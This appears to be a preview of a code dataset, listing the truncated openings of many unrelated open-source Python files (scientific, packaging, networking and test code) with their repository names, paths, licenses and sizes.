code
stringlengths
3
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
3
1.05M
# -*- coding: utf-8 -*- # Copyright (C) 2011 by Andrew Regner <andrew@aregner.com> # # This program is free software; you can redistribute it andor modify it under # the terms of the GNU General Public License as published by the Free Sof...
adregner/rackdnsgui
rackdnsgui/application.py
Python
gpl-2.0
5,030
# Copyright 2012, 2013 The GalSim developers: # https://github.com/GalSim-developers # # This file is part of GalSim: The modular galaxy image simulation toolkit. # # GalSim is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software...
mardom/GalSim
examples/demo2.py
Python
gpl-3.0
6,455
# Copyright 2014, Doug Wiegley (dougwig), A10 Networks # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
sasukeh/a10-neutron-lbaas
a10_neutron_lbaas/tests/unit/unit_config/config.py
Python
apache-2.0
3,120
""" Commands and hooks for creating and using sync, publish, and progress status commands. """ from gettext import gettext as _ from pulp.bindings import responses from pulp.client.commands import options, polling from pulp.client.extensions.extensions import PulpCliOptionGroup from pulp.common import tags # Command...
beav/pulp
client_lib/pulp/client/commands/repo/sync_publish.py
Python
gpl-2.0
12,879
from __future__ import absolute_import from .autoslugfield import * # NOQA from .bounded import * # NOQA from .extendedchar import * # NOQA from .foreignkey import * # NOQA from .gzippeddict import * # NOQA from .node import * # NOQA from .pickle import * # NOQA
lyoniionly/django-cobra
src/cobra/models/fields/__init__.py
Python
apache-2.0
269
#! /usr/bin/python # # Copyright (C) 2012,2014 Stefano Sanfilippo. # See LICENSE.txt in the main source package for more information # from __future__ import with_statement import sys # Ugly ugly trick to give us compatibility both with Py2 and Py3k try: import cStringIO as StringIO except ImportError: try: ...
esseks/nscript
scripts/fixnss.py
Python
bsd-3-clause
1,822
#!/usr/bin/env python import unicodedata SCOWL_FINAL_DIR = '../scowl-6/final' MAX_LINE_LENGTH = 70 print """ # Copyright 2000-2004 by Kevin Atkinson # Python wrapper by Johann C. Rocholl # # Permission to use, copy, modify, distribute and sell these word # lists, the associated scripts, the output created from the s...
jcrocholl/nxdom
tools/scowl_to_python.py
Python
mit
1,694
#!/usr/bin/env python ################################################## ## DEPENDENCIES import sys import os import os.path try: import builtins as builtin except ImportError: import __builtin__ as builtin from os.path import getmtime, exists import time import types from Cheetah.Version import MinCompatib...
MOA-2011/enigma2-plugin-extensions-openwebif
plugin/controllers/views/ajax/satellites.py
Python
gpl-2.0
5,571
import logging from nose.tools import * # noqa from tests.base import OsfTestCase from website.models import PreprintProvider from scripts.update_taxonomies import main as taxonomy_main from scripts.populate_preprint_providers import main as populate_main from scripts.populate_preprint_providers import STAGING_PREPR...
aaxelb/osf.io
scripts/tests/test_add_preprint_providers.py
Python
apache-2.0
1,785
import os import pathlib import unittest from maildaemon.config import load_config from maildaemon.connection_group import ConnectionGroup from maildaemon.daemon_group import DaemonGroup _HERE = pathlib.Path(__file__).parent _TEST_CONFIG_PATH = _HERE.joinpath('maildaemon_test_config.json') @unittest.skipUnless(os....
mbdevpl/maildaemon
test/test_daemon_group.py
Python
apache-2.0
1,536
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Finds android browsers that can be controlled by telemetry.""" import logging as real_logging import os import re import subprocess import sys from tele...
7kbird/chrome
tools/telemetry/telemetry/core/backends/chrome/android_browser_finder.py
Python
bsd-3-clause
9,858
# # This source file is part of the EdgeDB open source project. # # Copyright 2008-present MagicStack Inc. and the EdgeDB authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http...
edgedb/edgedb
edb/schema/pseudo.py
Python
apache-2.0
5,525
#!/usr/bin/python from pisi.actionsapi import shelltools, get, autotools, pisitools shelltools.export("HOME", get.workDIR()) def setup(): autotools.configure("--disable-static") def build(): autotools.make() def install(): autotools.rawInstall("DESTDIR=%s" % get.installDIR()) pisitools.dodoc("AUT...
richard-fisher/repository
desktop/gnome/core/libgtop/actions.py
Python
gpl-2.0
351
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
jayceyxc/hue
apps/security/src/security/conf.py
Python
apache-2.0
1,255
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
mlperf/training_results_v0.6
Fujitsu/benchmarks/resnet/implementations/mxnet/tests/python/unittest/test_gluon.py
Python
apache-2.0
88,352
# PyAlgoTrade # # Copyright 2011-2015 Gabriel Martin Becedillas Ruiz # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
Yam-cn/potato
engine/logger.py
Python
apache-2.0
2,104
#!/usr/bin/python # hitstats.py # originall by cshields # heavily redone by marineam # watches an apache log and provides a funky rss feed # of the city/country location of the latest hit import re, time, os, sys, socket, getopt, GeoIP import BaseHTTPServer if socket.gethostname() == "ftp-osl": HOSTS = [ 'loc...
osuosl/osuosl-mirror-sync
sbin.mirror/hitstats.py
Python
gpl-2.0
5,062
"""Tests for scripts/pbounds.py.""" import re import unittest from test_utils import import_utils import_utils.prepare_lldb_import_or_exit() import lldb import_utils.prepare_for_scripts_imports() from scripts import pbounds class PBoundsTest(unittest.TestCase): def __init__(self, *args, **kwargs): super(PBou...
mrhappyasthma/HappyDebugging
tests/pbounds_test.py
Python
mit
1,813
__author__ = 'tri' class Waiter: """ This class need to refactor """ def __init__(self): self.objects = {} return def register_waiter(self, keyword, ob): self.objects[keyword] = ob def unregister_waiter(self, keyword): del self.objects[keyword] def run(se...
ductri/game_programming-ass1
utils/customer_waiter_pattern/waiter.py
Python
apache-2.0
360
# coding=utf-8 """ ItemNSVD1 Collaborative Filtering Recommender [Rating Prediction] Literature: István Pilászy and Domonkos Tikk: Recommending new movies: even a few ratings are more valuable than metadata RecSys 2009 https://dl.acm.org/citation.cfm?id=1639731 """ # © 2019. Case Recomm...
ArthurFortes/CaseRecommender
caserec/recommenders/rating_prediction/item_nsvd1.py
Python
mit
10,046
# Copyright (C) 2010,2011 Chris Lalancette <clalance@redhat.com> # Copyright (C) 2012-2014 Chris Lalancette <clalancette@gmail.com> # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; # ve...
moofrank/oz
oz/ozutil.py
Python
lgpl-2.1
31,713
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
ArchiFleKs/magnum
magnum/tests/unit/api/utils.py
Python
apache-2.0
4,063
# Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
mlperf/training_results_v0.7
Google/benchmarks/transformer/implementations/transformer-research-TF-tpu-v4-16/lingvo/core/relative_atten_util.py
Python
apache-2.0
13,443
#!/usr/bin/env python """ Tests that stresses are calculated correctly by Asap Name: testStress.py Description: Part of the Asap test suite. Tests that stresses are calculated correctly by calculating various elastic constants from strain and stress and comparing them with the same constants calculated u...
auag92/n2dm
Asap-3.8.4/Test/StressModule.py
Python
mit
10,790
import os import dill as pickle # import pickle from collections import namedtuple Checkpoint = namedtuple('Checkpoint', 'u0 V v lss G_lss g_lss J G_dil g_dil') def save_checkpoint(checkpoint_path, cp): ''' save a checkpoint file under the path checkpoint_path, naming convention is mXX_segmentYYY, where X...
qiqi/fds
fds/checkpoint.py
Python
gpl-3.0
1,755
#!/usr/bin/env python # Imports import unittest import os import sys import tempfile import shutil import filecmp PATH_TO_DATA = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data') sys.path = [os.path.join(os.path.dirname(os.path.realpath(__file__)), '..')] + sys.path from enrichm.generate import Genera...
geronimp/enrichM
test/test_generate.py
Python
gpl-3.0
2,310
import asyncore import logging from dbgpproxy.dispatcher import RegistrationServer, DebugConnectionServer __author__ = 'gkralik' class Proxy: def __init__(self, idehost=None, ideport=None, dbghost=None, dbgport=None): """ Initialize the Proxy manager. Sets up the RegistrationServer and D...
gkralik/dbgpproxy
dbgpproxy/proxy.py
Python
mit
2,611
# -*- coding: utf-8 -*- # # Minimum amount of settings to run the googlytics test suite # # googlytics options are often overriden during tests GOOGLE_ANALYTICS_KEY = 'U-TEST-XXX' DEBUG = True DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'googlytics_test.sqlite3' ...
rikpg/django-googlytics
test_settings.py
Python
bsd-3-clause
510
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
datacommonsorg/data
scripts/fbi/hate_crime/table1/preprocess_test.py
Python
apache-2.0
2,606
from .blueprint import Kibble from .auth import Authenticator, GAEAuthenticator from .list import List from .edit import Edit, Create from .operation import Operation from .delete import Delete from .base import KibbleView from .util.forms import BaseCSRFForm from . import query_composers from . import query_filter...
xlevus/flask-kibble
flask_kibble/__init__.py
Python
bsd-3-clause
347
__author__ = 'hydezhang' from oslo.config import cfg from glanceclient import exc from tests.flow.test_base import TestBase from flow.imagetask import ImageMigrationTask from utils.db_handlers import images # testing inputs owner_target_id = '2ddc4b6528f24b039cf4ec093ae8a214' image_name = "public_image_on_source_cl...
Phoenix1708/OpenAcademy_OpenStack_Flyway
flyway/tests/flow/test_imagetask.py
Python
apache-2.0
9,130
# Copyright (c) 2011-2015 Berkeley Model United Nations. All rights reserved. # Use of this source code is governed by a BSD License (see LICENSE). class AuthenticationError(LookupError): '''Error raised when a user fails to authenticate a User.''' INVALID_CREDENTIALS = 'The credentials you provided are inval...
ctmunwebmaster/huxley
huxley/accounts/exceptions.py
Python
bsd-3-clause
1,659
from _external import * xml = LibChecker('xml2')
tuttleofx/sconsProject
autoconf/xml.py
Python
mit
50
# -*- coding: utf-8 -*- """Resources that don't change over time for PyBEL.""" SPECIES_PATTERN = r"^\d+$" CONFIDENCE_URL = "https://arty.scai.fraunhofer.de/artifactory/bel/annotation/confidence/confidence-1.0.0.belanno"
pybel/pybel
src/pybel/resources/constants.py
Python
mit
222
#!/usr/bin/env python3 from ietf.utility.environment import (get_db_session, get_editor, get_file, get_pager) from ietf.utility.query_doc import query_std from ietf.utility.query_is_also import query_std_is_also from subprocess import run import sys def get_docs(args): """Get...
lafrenierejm/ietf-cli
ietf/cmd/std.py
Python
isc
3,474
# N A large safe prime (N = 2q+1, where q is prime) # All arithmetic is done modulo N. # g A generator modulo N # k Multiplier parameter (k = H(N, g) in SRP-6a, k = 3 for legacy SRP-6) # s User's salt # I Username # p Cleartext Password # H() One-way hash function # ^ (Modul...
arpa2/pysrp-pkcs11
srp/_ctsrp.py
Python
mit
20,354
from django.shortcuts import redirect from django.views.decorators.csrf import csrf_exempt from django.http import HttpResponse from paste.models import Paste, Language @csrf_exempt def add(request): print "jojo" if request.method == 'POST': language = request.POST['language'] content = r...
spezifanta/Paste-It
api/v01/views.py
Python
mit
749
from lampost.di.config import config_value from lampmud.lpmud.archetype import PlayerRace from lampmud.lpmud import attributes def first_time_setup(args, db): root_area = config_value('root_area_id') room_id = "{0}:0".format(root_area) imm_name = args.imm_name.lower() db.create_object('area', {'dbo_...
genzgd/Lampost-Mud
lampmud/lpmud/newsetup.py
Python
mit
934
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'LocationSourceType' db.create_table('location_locationsourcetype', ( ('id', self...
coddingtonbear/django-location
location/migrations/0001_initial.py
Python
mit
7,723
# -*- coding: utf-8 -*- # # Copyright (C) 2005-2009 Edgewall Software # Copyright (C) 2005-2006 Christopher Lenz <cmlenz@gmx.de> # Copyright (C) 2005 Jeff Weiss <trac@jeffweiss.org> # Copyright (C) 2006 Andres Salomon <dilinger@athenacr.com> # All rights reserved. # # This software is licensed as described in the file ...
zjj/trac_hack
trac/db/mysql_backend.py
Python
bsd-3-clause
10,379
# -*- coding: utf-8 -*- import attr from datetime import datetime import logging import shutil import os import pandas as pd import numpy as np from pandas.io.common import EmptyDataError import re from .const import BLAST_TABLE_COLS from ..utils import exc_exists, run_command @attr.s class BlastRunner: fasta_pa...
peterk87/heidelberg_subtyping
heidelberg_subtyping/blast_wrapper/__init__.py
Python
gpl-3.0
9,579
#!/usr/bin/env python # -*- coding: utf-8 -*- '''cg_minst.py: conges multi-installer outil d'installation multiple adapté au portage des applications conges d'un env vers un autre ''' import getpass, sys, os, subprocess, pprint, string, re, time from traceback import print_exc from cg_lib import exec_sql_file im...
coz787/conges4ac
actools/cg_minst.py
Python
gpl-2.0
12,134
#!/usr/bin/python3 """Runs all.bash against each commit on a git development branch. For a given development branch, do an all.bash test for each commit on the branch, storing results in. Example from git log --oneline for hypothetical development branch 'mybranch': ca3b66ca8d (HEAD -> mybranch) final-thing 51df6...
thanm/devel-scripts
test-git-branch-stack.py
Python
apache-2.0
8,204
from collections import UserList import pygame from attr import Factory, attrib, attrs from .movement import Direction from .entity import Entity from .system import SystemFlag @attrs(slots=True) class AiController: opponent = attrib(type=Entity) direction = attrib( type=pygame.Rect, defaul...
joetsoi/moonstone
python/combat/ai_controller.py
Python
agpl-3.0
1,726
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-04-08 03:07 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('auctions', '0023_auto_20160408_0114'), ] operations = [ migrations.AlterFiel...
codesy/codesy
auctions/migrations/0024_auto_20160408_0307.py
Python
agpl-3.0
641
# -*- encoding: utf-8 -*- ############################################################################## # # Copyright (C) 2016 Compassion CH (http://www.compassion.ch) # Releasing children from poverty in Jesus' name # @author: Emanuel Cino <ecino@compassion.ch> # # The licence is in the file __openerp__.p...
MickSandoz/compassion-switzerland
child_sync_gp/wizards/migration_r4.py
Python
agpl-3.0
1,666
from __future__ import unicode_literals, division, absolute_import import base64 import glob import logging import pkg_resources import os import re import sys import time import warnings from flexget import plugin from flexget.entry import Entry from flexget.event import event from flexget.utils.template import Rende...
protomouse/Flexget
flexget/plugins/plugin_deluge.py
Python
mit
37,776
import binascii data = ''' D9 51 44 5C 65 D5 3D 7D C8 67 BC 68 C8 68 6F 3F C8 64 3F 30 48 41 72 3F 75 C8 67 F4 68 48 B9 6E 7C C8 7F 3C 74 5C 74 3C 74 3C 5C 3C 74 3C 5C 77 48 FE E8 67 C8 49 48 48 48 48 48 48 48 48 48 48 71 43 00 00 00 00 00 00 ''' data = data.replace(' ', '') data = data.replace('\n', '') data = l...
Qwaz/solved-hacking-problem
sciencewar/2018/ezbt/solver.py
Python
gpl-2.0
990
import os import random import string import unittest from fs.errors import ResourceNotFoundError from fs.path import relpath from fs.tempfs import TempFS from fs.tests import FSTestCases from fs.tests import ThreadingTestCases from versioning_fs import VersioningFS from versioning_fs.errors import VersionError KB ...
smartfile/file-versioning
tests.py
Python
mit
17,361
#!/usr/bin/env python # -*- encoding: utf-8 -*- from setuptools import setup import unittest def test_suite(): return unittest.TestLoader().discover('tests', pattern='test_*.py') with open('README.md', 'r') as fh: long_description = fh.read() setup( name='spdx-tools', version='0.7.0a3', descrip...
spdx/tools-python
setup.py
Python
apache-2.0
1,592
# # Spongioblast - A desktop media metadata service. # Copyright (C) 2015 Michael Gratton # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option)...
mjog/spongioblast
spongioblast/application.py
Python
gpl-3.0
5,285
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2014, Roboterclub Aachen e.V. # All rights reserved. # # The file is part of the xpcc library and is released under the 3-clause BSD # license. See the file `LICENSE` for the full license governing this code. # ----------------------------------------------...
chrism333/xpcc
scons/site_tools/git.py
Python
bsd-3-clause
3,191
import json import socket import collections def parse_knx_address(address): """Parse physical/individual KNX address. Address structure (A=Area, L=Line, B=Bus device): -------------------- |AAAA|LLLL|BBBBBBBB| -------------------- 4 Bit|4 Bit| 8 Bit parse_knx_address(99999) '8.6.159'...
ernw/knxmap
knxmap/utils.py
Python
gpl-3.0
4,490
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
mlperf/training_results_v0.7
Google/benchmarks/resnet/implementations/resnet-cloud-TF2.0-tpu-v3-32/lars_util.py
Python
apache-2.0
6,225
import json from collections import OrderedDict from dc_base_scrapers.common import ( format_json, get_data_from_url, save, sync_file_to_github ) class CkanScraper: def __init__(self, base_url, council_id, dataset, return_format, extra_fields, encoding): self.url = None self.counc...
wdiv-scrapers/dc-base-scrapers
dc_base_scrapers/ckan_scraper.py
Python
mit
1,840
# -*- coding: utf-8 -*- import pytest from cfme import test_requirements from cfme.rest.gen_data import a_provider as _a_provider from cfme.rest.gen_data import vm as _vm from cfme.utils import error from cfme.utils.wait import wait_for pytestmark = [test_requirements.provision] @pytest.fixture(scope="function") d...
okolisny/integration_tests
cfme/tests/infrastructure/test_vm_rest.py
Python
gpl-2.0
1,682
import cherrypy # 這是 C2G12 類別的定義 class C2G12(object): # 各組利用 index 引導隨後的程式執行 @cherrypy.expose def index(self, *args, **kwargs): outstring = ''' 這是 2014C2 協同專案下的 c2g12 分組程式開發網頁, 以下為 W12 的任務執行內容.<br /> <!-- 這裡採用相對連結, 而非網址的絕對連結 (這一段為 html 註解) --> <a href="fillpoly">c2g12 fillpoly 繪圖</a><br /> <a href=...
2014c2g12/c2g12
exts/wsgi/programs/c2g12/__init__.py
Python
gpl-2.0
11,211
import json from django.http import HttpResponse from django.shortcuts import render from recognize_albums.models import Album, Image def all_albums(request): albums = [] for album_entry in Album.objects.all(): images = [] for image_entry in Image.objects.filter(album__title=album_entry.tit...
NCSUWebClass/fall14-recognize4
app/recognize_albums/views.py
Python
mit
579
try: from boxe_clock.apps.android_app import BoxingApp except ImportError: from boxe_clock.apps.generic_app import BoxingApp def main(): BoxingApp().run() if __name__ == "__main__": main()
zedr/boxing-clock
src/main.py
Python
bsd-3-clause
209
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
ageron/tensorflow
tensorflow/python/framework/function.py
Python
apache-2.0
45,054
import logging from typing import Any, Dict from freqtrade import constants from freqtrade.configuration import setup_utils_configuration from freqtrade.exceptions import DependencyException, OperationalException from freqtrade.state import RunMode logger = logging.getLogger(__name__) def setup_optimize_configurat...
gcarq/freqtrade
freqtrade/commands/optimize_commands.py
Python
gpl-3.0
3,589
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import py import _pytest._code import pytest from _pytest.nodes import FSCollector from _pytest.nodes import Item from _pytest.nodes import Node from _pytest.resultlog import generic_path from _pyte...
txomon/pytest
testing/test_resultlog.py
Python
mit
7,799
print ("hello_world")
Pearn/stroke_diagnostic_test
hello_world.py
Python
apache-2.0
22
from microkorg_abstract import MicroKorgAbstractParameter from timbre.pitch import Tune as TimbreTune from timbre.pitch import BendRange as TimbreBendRange from timbre.pitch import Transpose as TimbreTranspose from timbre.pitch import VibratoInt as TimbreVibratoInt from timbre.pitch import PortamentoTime as TimbrePorta...
oscillot/mk-maxxer
vocoder/pitch.py
Python
gpl-2.0
628
import RPi.GPIO as GPIO from sys_config import sys_config import time # Set our GPIO numbering to BCM GPIO.setmode(GPIO.BCM) class Sensor: def __init__(self, in_GPIO_pin, in_type, in_callback_function = None): self.v_GPIO_pin = in_GPIO_pin self.v_callback_function = in_callback_function self.v_type = in_type ...
pmandr/plant_carer
legacy/Sensor.py
Python
gpl-3.0
1,195
# -*- coding: utf-8 -*- """DDM diff function tools """ from __future__ import division, print_function, absolute_import import numpy as np import time from ddm.core._numba import numba, USE_NUMBA from ddm.core.util import _prepare_complex_array from ddm.core.norm import dnorm2 from ddm.conf import DDMConfig from ddm.u...
andrej5elin/ddm
ddm/core/diff.py
Python
gpl-3.0
8,173
# -*- coding: utf-8 -*- # pylint: disable=invalid-name, too-many-instance-attributes """Copyright 2015 Roger R Labbe Jr. FilterPy library. http://github.com/rlabbe/filterpy Documentation at: https://filterpy.readthedocs.org Supporting book at: https://github.com/rlabbe/Kalman-and-Bayesian-Filters-in-Python This is...
zaqwes8811/micro-apps
self_driving/deps/filterpy/filterpy/kalman/square_root.py
Python
mit
10,085
import paramiko import time import redis import ujson import os import subprocess import django_rq from django_rq import job from django.conf import settings from adjacent import Client from datetime import timedelta channel_to_job_dict = {} """ Send json data to client/browser using centrifuge/adacent """ def sen...
niks3089/nixia-console
receiver/task.py
Python
gpl-3.0
5,045
# Copyright 2015 Brocade Communications System, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # ...
openstack/tacker
tacker/tests/unit/vnfm/test_k8s_plugin.py
Python
apache-2.0
10,109
# Copyright 2014 # The Cloudscaling Group, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
MayankGo/ec2-api
ec2api/paths.py
Python
apache-2.0
2,014
#!/usr/bin/env python # -*- coding: utf-8 -*- # Print text in all colors from clint.textui import colored, puts, indent from clint.arguments import Args args = Args() if __name__ == '__main__': puts('Tests:') with indent(4): puts('%s All tests passed 1.' % colored.green('✔')) puts('%s Fail...
vicgc/recognise
src/app/console.py
Python
mit
665
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # Copyright (C) 2005-2008 Francisco José Rodríguez Bogado, # # Diego Muñoz Escalante. # # (pacoqueen@users.sourceforge.ne...
pacoqueen/bbinn
formularios/partes_de_fabricacion_rollos.py
Python
gpl-2.0
189,620
#!/usr/bin/env python3 # # Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Creates a simple script to run a java "binary". This creates a script that sets up the java command line for running a java jar....
youtube/cobalt
build/android/gyp/create_java_binary_script.py
Python
bsd-3-clause
4,156
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This script is a simple wrapper which prefixes each i3status line with custom # information. It is a python reimplementation of: # http://code.stapelberg.de/git/i3status/tree/contrib/wrapper.pl # # To use it, ensure your ~/.i3status.conf contains this line: # output...
rukai/dotfiles
.i3/i3bar/wrapper.py
Python
gpl-3.0
4,450
#! /usr/bin/env python """ This programs performs a geometry optimization of the cation of a closed-shell molecule with cp2k using generic settings: DFT/PBE. Note that is mandatory to define a cell_parameter, and a xyz structure. If you have a restart file, a basis set and you can also define it in the command line....
felipeZ/nonAdiabaticCoupling
scripts/qmflows/opt_cation_cp2k.py
Python
mit
2,765
#!/usr/bin/env python import os from skimage._build import cython base_path = os.path.abspath(os.path.dirname(__file__)) def configuration(parent_package='', top_path=None): from numpy.distutils.misc_util import Configuration, get_numpy_include_dirs config = Configuration('feature', parent_package, top_pat...
kenshay/ImageScript
ProgramData/SystemFiles/Python/Lib/site-packages/skimage/feature/setup.py
Python
gpl-3.0
2,360
import sys from ariba import versions def run(options): extern_progs, report_lines = versions.get_all_versions(raise_error=False) print(*report_lines, sep='\n')
martinghunt/ariba
ariba/tasks/version.py
Python
gpl-3.0
170
#!/usr/bin/python # -*- coding: utf-8 -*- """ MetaMaker is a basic tool for simulating metagenomic datasets. It downloads a number of genomes, splits them into reads and creates a fastq output file simulating a sequencing run. """ import os import sys import time import json import numpy import random import logging...
norling/metlab
metlab/metamaker.py
Python
gpl-3.0
24,644
# Copyright 2018 The Kubeflow Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
kubeflow/pipelines
components/gcp/container/component_sdk/python/tests/google/dataproc/test__submit_spark_job.py
Python
apache-2.0
1,734
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('photoplaces_web', '0003_photocluster_normalized_centers_dirty'), ] operations = [ migrations.AddField( model_nam...
joonamo/photoplaces
photoplaces/photoplaces_web/migrations/0004_auto_20141105_1236.py
Python
mit
984
import tempest_parser.manager.structs as structs import os import time from copy import deepcopy pkg_dir = os.path.dirname(__file__) pkg_dir = os.path.join(pkg_dir, os.pardir) pkg_dir = os.path.normpath(pkg_dir) class TestsManager: def __init__(self): # structure self.tests_list = deepcopy(struct...
osavatieiev/tempest-parser
tempest_parser/manager/test_manager.py
Python
apache-2.0
18,270
import numpy as np import pytest from pandas import DataFrame @pytest.fixture def int_frame_const_col(): """ Fixture for DataFrame of ints which are constant per column Columns are ['A', 'B', 'C'], with values (per column): [1, 2, 3] """ df = DataFrame( np.tile(np.arange(3, dtype="int64"...
rs2/pandas
pandas/tests/apply/conftest.py
Python
bsd-3-clause
399
# Copyright (C) 2012,2013 # Max Planck Institute for Polymer Research # Copyright (C) 2008,2009,2010,2011 # Max-Planck-Institute for Polymer Research & Fraunhofer SCAI # # This file is part of ESPResSo++. # # ESPResSo++ is free software: you can redistribute it and/or modify # it under the terms of t...
kkreis/espressopp
src/integrator/FixPositions.py
Python
gpl-3.0
1,965
#!/usr/bin/python ################################################################ # LiveQ - An interactive volunteering computing batch system # Copyright (C) 2013 Ioannis Charalampidis # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as...
wavesoft/LiveQ
liveq-agent/tests.py
Python
gpl-2.0
2,485
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. # MIT License. See license.txt # make public folders from __future__ import unicode_literals import os def make(): """make public folder symlinks if missing""" dirs = ["public", "public/js", "public/css", "public/files", "public/backups"] for dirname in d...
rohitw1991/latestadbwnf
webnotes/install_lib/setup_public_folder.py
Python
mit
916
from __future__ import annotations from typing import NamedTuple, Union from redbot.core import commands class CommandConverter(NamedTuple): com: commands.Command @classmethod async def convert(cls, ctx: commands.Context, arg: str): ret = ctx.bot.get_command(arg) if ret: ret...
mikeshardmind/SinbadCogs
channelredirect/converters.py
Python
mit
1,459
""" Utilities """ from __future__ import absolute_import from __future__ import division from __future__ import print_function # Logging # ======= import logging import os, os.path from colorlog import ColoredFormatter ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) formatter = ColoredFormatter( "%(lo...
yuanchima/Activation-Visualization-Histogram
util.py
Python
mit
1,077
import logging import signal import subprocess import errno import select logger = logging.getLogger('BitBake.Process') def subprocess_setup(): # Python installs a SIGPIPE handler by default. This is usually not what # non-Python subprocesses expect. signal.signal(signal.SIGPIPE, signal.SIG_DFL) class Cm...
sentient-energy/emsw-bitbake-mirror
lib/bb/process.py
Python
gpl-2.0
3,692
#-*- coding:utf-8 -*- #----------------------------- #时间:2017,7,22 #版本:1.0 #开发者:fory #---------------------------- import os from scapy.all import * os.system("reset") sum = 0 time_how = int(raw_input("DNS服务器循环几遍?")) x=raw_input("attack target-IP>") zxw = 0 while zxw <= time_how: #DNS服务器列表 dns_server_list = ["127.0.0...
whoisk/test
dns-d.py
Python
gpl-2.0
903
############################################################################### # # The MIT License (MIT) # # Copyright (c) Tavendo GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Softw...
nucular/AutobahnPython
examples/twisted/websocket/streaming/streaming_server.py
Python
mit
3,522
# Base classes for the graphical user interface. # # Copyright (C) 2011-2012 Red Hat, Inc. # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of # the GNU General Public License v.2, or (at your option) any later version. # T...
kparal/anaconda
pyanaconda/ui/gui/__init__.py
Python
gpl-2.0
43,055
import urllib class RedirectUriError(Exception): error = 'Redirect URI Error' description = 'The request fails due to a missing, invalid, or mismatching redirection URI (redirect_uri).' class ClientIdError(Exception): error = 'Client ID Error' description = 'The client identifier (client_id) is mi...
django-py/django-openid-provider
oidc_provider/lib/errors.py
Python
mit
5,837
""" kicad_mod.py Copyright 2015 Adam Greig Licensed under the MIT licence, see LICENSE file for details. Helper functions for generating KiCAD footprint files. """ from __future__ import print_function, division CTYD_GAP = 0.25 CTYD_GRID = 0.05 CTYD_WIDTH = 0.01 SILK_WIDTH = 0.15 FAB_WIDTH = 0.01 FONT_SIZE = (1.0, 1...
JMW95/agg-kicad
scripts/kicad_mod.py
Python
mit
2,908
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013, Daniel Jaouen <dcj24@cornell.edu> # Based on homebrew (Andrew Dunham <andrew@du.nham.ca>) # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # t...
gaqzi/ansible-modules-extras
